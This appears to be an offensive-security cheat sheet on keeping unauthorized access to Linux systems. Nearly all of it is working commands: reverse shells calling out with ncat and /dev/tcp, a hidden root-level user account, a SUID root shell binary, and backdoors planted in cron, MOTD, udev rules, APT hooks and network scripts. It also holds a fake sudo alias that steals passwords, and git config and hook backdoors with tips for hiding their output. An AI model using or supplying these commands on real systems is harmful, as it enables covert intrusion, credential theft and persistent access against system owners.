Skip to content

Linux - Persistence

Summary

Basic reverse shell

ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242

Add a root user

sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john

Suid Binary

TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant

Crontab - Reverse shell

(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null

Backdooring a user's bash_rc

(FR/EN Version)

TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
  alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale  = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale  = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then
    cat /tmp/$TMPNAME2 >> ~/.bashrc
fi
if [ -f ~/.zshrc ]; then
    cat /tmp/$TMPNAME2 >> ~/.zshrc
fi
rm /tmp/$TMPNAME2

or add the following line inside its .bashrc file.

$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc

and create the fakesudo script.

read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt

/usr/bin/sudo $@

Backdooring a startup service

  • Edit /etc/network/if-up.d/upstart file
    RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
    sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
    

Backdooring Message of the Day

  • Edit /etc/update-motd.d/00-header file
    echo 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/update-motd.d/00-header
    

Backdooring a user startup file

Linux, write a file in ~/.config/autostart/NAME_OF_FILE.desktop

In : ~/.config/autostart/*.desktop

[Desktop Entry]
Type=Application
Name=Welcome
Exec=/var/lib/gnome-welcome-tour
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
OnlyShowIn=GNOME;
X-GNOME-Autostart-enabled=false

Backdooring a driver

echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null

Backdooring the APT

If you can create a file on the apt.conf.d directory with: APT::Update::Pre-Invoke {"CMD"}; Next time "apt-get update" is done, your CMD will be executed!

echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor

Backdooring the SSH

Add an ssh key into the ~/.ssh folder.

  1. ssh-keygen
  2. write the content of ~/.ssh/id_rsa.pub into ~/.ssh/authorized_keys
  3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys

Backdooring Git

Backdooring git can be a useful way to obtain persistence without the need for root access.
Special care must be taken to ensure that the backdoor commands create no output, otherwise the persistence is trivial to notice.

Git Configs

There are multiple git config variables that execute arbitrary commands when certain actions are taken.
As an added bonus, git configs can be specified multiple ways leading to additional backdoor opportunities.
Configs can be set at the user level (~/.gitconfig), at the repository level (path/to/repo/.git/config), and sometimes via environment variables.

core.editor is executed whenever git needs to provide the user with an editor (e.g. git rebase -i, git commit --amend).
The equivalent environment variable is GIT_EDITOR.

[core]
editor = nohup BACKDOOR >/dev/null 2>&1 & ${VISUAL:-${EDITOR:-emacs}}

core.pager is executed whenever git needs to potentially large amounts of data (e.g. git diff, git log, git show).
The equivalent environment variable is GIT_PAGER.

[core]
pager = nohup BACKDOOR >/dev/null 2>&1 & ${PAGER:-less}

core.sshCommand is executed whenever git needs to interact with a remote ssh repository (e.g. git fetch, git pull, git push).
The equivalent environment variable is GIT_SSH or GIT_SSH_COMMAND.

[core]
sshCommand = nohup BACKDOOR >/dev/null 2>&1 & ssh
[ssh]
variant = ssh

Note that ssh.variant (GIT_SSH_VARIANT) is technically optional, but without it git will run sshCommand twice in rapid succession. (The first run is to determine the SSH variant and the second to pass it the correct parameters.)

Git Hooks

Git hooks are programs you can place in a hooks directory to trigger actions at certain points during git's execution.
By default, hooks are stored in a repository's .git/hooks directory and are run when their name matches the current git action and the hook is marked as executable (i.e. chmod +x).
Potentially useful hook scripts to backdoor:

  • pre-commit is run just before git commit is executed.
  • pre-push is run just before git push is executed.
  • post-checkout is run just after git checkout is executed.
  • post-merge is run after git merge or after git pull applies new changes.

In addition to spawning a backdoor, some of the above hooks can be used to sneak malicious changes into a repo without the user noticing.

Lastly, it is possible to globally backdoor all of a user's git hooks by setting the core.hooksPath git config variable to a common directory in the user-level git config file (~/.gitconfig). Note that this approach will break any existing repository-specific git hooks.

Additional Persistence Options

References


Last update: February 20, 2023